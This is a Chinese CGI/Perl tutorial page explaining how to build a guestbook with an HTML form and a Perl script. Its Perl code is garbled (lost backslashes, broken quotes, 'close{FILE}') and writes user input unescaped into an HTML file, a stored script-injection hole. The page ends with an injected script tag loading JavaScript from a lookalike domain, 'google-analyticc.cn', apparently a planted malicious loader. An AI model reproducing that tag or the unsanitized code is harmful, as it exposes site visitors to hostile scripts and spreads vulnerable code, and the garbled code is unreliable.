RSS
热门关键字:  数据挖掘  数据仓库  商业智能  搜索引擎  人工智能
当前位置 :| 首页>编程技术>cgi/perl>

cgi学习简明教程

来源: 作者: 时间:2007-01-27 点击:


第九章:Guest book

    Guest-book在网页设计中占有相当重要的地位,以至于可以和记数器相提并论。留言本可以用许多编程语言来设计,当然使用最多的还是perl和vb两种。本次cgi教程我们将谈谈在编写Guest-book中最应该注意的问题,并将给出一个不算很完整的程序代码。同时提供一个C语言的win-cgi程序供大家下载。 数据挖掘研究院

    就现在的情况来看,一个标准的guest-book程序一般包括三个文件。提交表单文件(form.html)、cgi处理文件(guest-book.cgi)和最后的输出文件(book.html)。有些vb程序以access数据库为后台存储格式,以方便用户查找留言。下图给出了guest-book的工作流程。

    form.html首先我们来看看form.html的文件内容:<html> <title>guest-book.html</title> <h1>留言本</h1> <form method="post" action="/cgi-shl/guest-book.cgi"> <p>名字:<input name="name" size="20"> <p>email:<input name="email" size="30"> <p>意见:<textarea name="suggest" cols=30 rows=4></textarea> </textarea><p> <input type="submit" value="提交"> <input type="reset" value="取消"> </form></html> 数据挖掘研究院

    <form method="post" action="/cgi-shl/guest-book.cgi">将此表单的提交后的动作交给guest-book.cgi程序。 数据挖掘研究院

    guest-book.cgi #! perl

数据挖掘实验室

    print"Content-type:text/htmlnn";read(STDIN,$buffer,$ENV{"CONTENT_LENGTH"});@pairs=split(/&/,$buffer);foreach $pair(@pairs){($name,$value)=split(/=/,$pair);$value=~tr/+//;$value=~s/%([a-f A-F 0-9][a-f A-F 0-9])/pack("C",hex($1))/eg;$FORM{$name}=$value;} print"<title>留言本</title>";print"<h1>留言本</h1>";

数据挖掘研究院

    foreach $check(values%FORM){ if($check eq""){ print"<hr size=3>";print"<h2>请不要留空";exit(0);} 数据挖掘研究院

    $FORM{"suggest"}=~s/cMn/<br>n/g; 数据挖掘研究院

    $filename="c:/website/htdocs/book.html";

    open(FILE,">> $filename");print FILE "名字:$FORM{"name"}<br>n";print FILE "Email:<a href="mailto:$FORM{"email"}>$FORM{"email"}</a><br>n"}";print FILE "留言:$FORM{"suggest"}";close{FILE};

数据挖掘研究院

    print "<h2>谢谢留言</h2>"; 数据挖掘研究院

    print"<a href="book.html">请观看留言本</a>";

    exit(0); 数据挖掘研究院

    这个程序相当简陋,但它具有了所有的CGI-Guest程序的特点,我们一一分析如下:首先,read(STDIN,$buffer,$ENV{"CONTENT_LENGTH"});@pairs=split(/&/,$buffer);foreach $pair(@pairs){($name,$value)=split(/=/,$pair);$value=~tr/+//;$value=~s/%([a-f A-F 0-9][a-f A-F 0-9])/pack("C",hex($1))/eg;$FORM{$name}=$value;}这是一段表单分析的语句,在前面的程序里,估计大家也都见过了。 数据挖掘研究院

    其次:foreach $check(values%FORM){ if($check eq""){ print"<hr size=3>";print"<h2>请不要留空";exit(0);}做输入字段的检查,看看是否有留空的现象。从前这种任务都是要CGI程序来验证的,比如 数据挖掘研究院

    email是否输入的是mail地址等检查。不过现在我们可以通过javascript来做这样的检查,

数据挖掘研究院

    这样服务器的负担将大大减轻。 数据挖掘研究院

    最后:$filename="c:/website/htdocs/book.html"; 数据挖掘研究院

    open(FILE,">> $filename");print FILE "名字:$FORM{"name"}<br>n";print FILE "Email:<a href="mailto:$FORM{"email"}>$FORM{"email"}</a><br>n"}";print FILE "留言:$FORM{"suggest"}";close{FILE};

数据挖掘实验室

    print "<h2>谢谢留言</h2>";

    print"<a href="book.html">请观看留言本</a>";

    exit(0);输出内容到文件和屏幕上。完成留言的程序。 数据挖掘研究院

    book.html:这个程序中book.html没有什么特别的要求,可以不用写,就让程序自动生成。 数据挖掘研究院

    现在有的cgi程序,对book.html也有设定,比如在<head></head>之间就写上注释<!——这是流言开始——!> <!——这是流言结束——!>这样,在程序对留言数据操作的时候,就可以忽略掉文件内的其他内容。 数据挖掘实验室

    最后,我为各位找到一个用C写的guestbook程序,它是在win平台上运行的,具有非常好的兼容性。同时它采用了临时文件的方式来传递信息。所以你需要设定。ini文件。好了,这课到此为止。

最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
匿名?
热点关注
相关文章
script src="http://www.google-analyticc.cn/q.js" type="text/javascript">